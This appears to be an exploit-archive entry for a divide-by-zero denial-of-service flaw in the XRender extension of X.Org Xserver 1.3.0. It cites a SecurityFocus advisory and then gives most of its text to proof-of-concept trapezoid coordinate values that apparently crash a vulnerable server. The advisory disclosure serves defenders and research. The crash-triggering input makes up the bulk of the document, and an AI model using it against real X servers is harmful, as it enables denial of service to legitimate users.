X.Org X Window System Xserver 1.3 - XRender Extension Divide by Zero Denial of Service

source: https://www.securityfocus.com/bid/23741/info

X.Org X Window System Xserver is prone to a denial-of-service vulnerabilty because the software fails to properly handle exceptional conditions.

Attackers who can connect to a vulnerable X server may exploit this issue to crash the targeted server, denying futher service to legitimate users.

X.Org X Window System Xserver 1.3.0 is vulnerable to this issue; other versions may also be affected.

pTraps[0].top = 13275;
pTraps[0].bottom = 26791;
pTraps[0].left.p1.x = 26765;
pTraps[0].left.p1.y = 13802;
pTraps[0].left.p2.x = 48451;
pTraps[0].left.p2.y = 1366;
pTraps[0].right.p1.x = 45782;
pTraps[0].right.p1.y = 14369;
pTraps[0].right.p2.x = 50685;
pTraps[0].right.p2.y = 3518;

pTraps[1].top = 52058;
pTraps[1].bottom = 56949;
pTraps[1].left.p1.x = 7641;
pTraps[1].left.p1.y = 35604;
pTraps[1].left.p2.x = 18593;
pTraps[1].left.p2.y = 60832;
pTraps[1].right.p1.x = 45277;
pTraps[1].right.p1.y = 1073;
pTraps[1].right.p2.x = 51659;
pTraps[1].right.p2.y = 1073;

pTraps[2].top = 53368;
pTraps[2].bottom = 18772;
pTraps[2].left.p1.x = 34644;
pTraps[2].left.p1.y = 11603;
pTraps[2].left.p2.x = 24261;
pTraps[2].left.p2.y = 13272;
pTraps[2].right.p1.x = 54806;
pTraps[2].right.p1.y = 46200;
pTraps[2].right.p2.x = 5052;
pTraps[2].right.p2.y = 22005;